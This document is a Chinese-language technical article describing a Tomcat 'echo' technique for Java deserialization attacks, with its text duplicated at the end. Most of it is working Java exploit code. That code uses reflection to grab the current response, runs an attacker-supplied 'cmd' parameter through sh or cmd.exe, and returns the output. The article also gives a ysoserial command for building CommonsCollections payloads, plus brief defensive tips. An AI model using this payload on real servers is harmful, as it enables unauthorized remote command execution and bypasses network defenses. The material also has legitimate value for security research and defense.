Tomcat中一种半通用回显方法
字数 1000 2025-08-20 18:17:07

Tomcat半通用回显方法技术文档

1. 技术背景

在渗透测试中,当遇到反序列化漏洞或其他Java代码执行场景时,由于网络限制或防护措施,传统的反弹shell方式可能失效。回显技术通过将执行结果附加到HTTP响应中,可以绕过这些限制。

2. 技术原理

2.1 核心思路

通过反射修改Tomcat内部变量,获取当前请求的Response对象,从而将命令执行结果直接写入HTTP响应。

2.2 关键发现

org.apache.catalina.core.ApplicationFilterChain类中发现了两个关键静态变量:

  • lastServicedRequest (ThreadLocal)
  • lastServicedResponse (ThreadLocal)

这些变量在ApplicationDispatcher.WRAP_SAME_OBJECT为true时会被设置为当前请求的request和response对象。

3. 实现步骤

3.1 反射修改关键变量

// 获取并修改WRAP_SAME_OBJECT字段
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher")
    .getDeclaredField("WRAP_SAME_OBJECT");

// 获取并修改lastServicedRequest和lastServicedResponse字段
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

// 修改final修饰符
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);

// 设置字段可访问
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

3.2 初始化变量

ThreadLocal<ServletResponse> lastServicedResponse = 
    (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = 
    (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);

// 初始化变量
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
    lastServicedRequestField.set(null, new ThreadLocal<>());
    lastServicedResponseField.set(null, new ThreadLocal<>());
    WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
}

3.3 执行命令并回显

// 获取命令参数并执行
String cmd = lastServicedRequest != null 
    ? lastServicedRequest.get().getParameter("cmd") 
    : null;

if (cmd != null) {
    ServletResponse responseFacade = lastServicedResponse.get();
    responseFacade.getWriter();
    java.io.Writer w = responseFacade.getWriter();
    
    // 获取底层Response对象
    Field responseField = ResponseFacade.class.getDeclaredField("response");
    responseField.setAccessible(true);
    Response response = (Response) responseField.get(responseFacade);
    
    // 重置usingWriter标志
    Field usingWriter = Response.class.getDeclaredField("usingWriter");
    usingWriter.setAccessible(true);
    usingWriter.set((Object) response, Boolean.FALSE);

    // 执行命令
    boolean isLinux = !System.getProperty("os.name").toLowerCase().contains("win");
    String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
    Scanner s = new Scanner(in).useDelimiter("\\a");
    String output = s.hasNext() ? s.next() : "";
    
    // 写入响应
    w.write(output);
    w.flush();
}

4. 集成到ysoserial

已修改的ysoserial版本支持Tomcat回显,将第二个参数改为要执行的命令参数名(如"cmd"):

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2TomcatEcho cmd

支持的payloads:

  • CommonsCollections2TomcatEcho
  • CommonsCollections3TomcatEcho
  • CommonsCollections4TomcatEcho

5. 技术局限性

  1. Filter限制:在Filter中执行的代码(如Shiro的rememberMe功能)无法使用此方法,因为请求尚未被缓存。

  2. 需要两次请求:第一次请求用于反射修改变量,第二次请求才能获取回显。

  3. Tomcat版本兼容性:依赖于特定Tomcat内部实现,不同版本可能需要调整。

6. 适用场景

  1. 开发人员编写的Controller中的代码执行场景
  2. 反序列化漏洞利用
  3. 其他Java代码执行场景(非Filter中)

7. 防御建议

  1. 限制反射权限
  2. 监控关键Tomcat类的修改
  3. 及时更新Tomcat版本
  4. 对用户输入进行严格过滤

8. 参考资源

  1. 修改版ysoserial: https://github.com/kingkaki/ysoserial
  2. 原始思路参考: https://xz.aliyun.com/t/7307
Tomcat半通用回显方法技术文档 1. 技术背景 在渗透测试中,当遇到反序列化漏洞或其他Java代码执行场景时,由于网络限制或防护措施,传统的反弹shell方式可能失效。回显技术通过将执行结果附加到HTTP响应中,可以绕过这些限制。 2. 技术原理 2.1 核心思路 通过反射修改Tomcat内部变量,获取当前请求的Response对象,从而将命令执行结果直接写入HTTP响应。 2.2 关键发现 在 org.apache.catalina.core.ApplicationFilterChain 类中发现了两个关键静态变量: lastServicedRequest (ThreadLocal ) lastServicedResponse (ThreadLocal ) 这些变量在 ApplicationDispatcher.WRAP_SAME_OBJECT 为true时会被设置为当前请求的request和response对象。 3. 实现步骤 3.1 反射修改关键变量 3.2 初始化变量 3.3 执行命令并回显 4. 集成到ysoserial 已修改的ysoserial版本支持Tomcat回显,将第二个参数改为要执行的命令参数名(如"cmd"): 支持的payloads: CommonsCollections2TomcatEcho CommonsCollections3TomcatEcho CommonsCollections4TomcatEcho 5. 技术局限性 Filter限制 :在Filter中执行的代码(如Shiro的rememberMe功能)无法使用此方法,因为请求尚未被缓存。 需要两次请求 :第一次请求用于反射修改变量,第二次请求才能获取回显。 Tomcat版本兼容性 :依赖于特定Tomcat内部实现,不同版本可能需要调整。 6. 适用场景 开发人员编写的Controller中的代码执行场景 反序列化漏洞利用 其他Java代码执行场景(非Filter中) 7. 防御建议 限制反射权限 监控关键Tomcat类的修改 及时更新Tomcat版本 对用户输入进行严格过滤 8. 参考资源 修改版ysoserial: https://github.com/kingkaki/ysoserial 原始思路参考: https://xz.aliyun.com/t/7307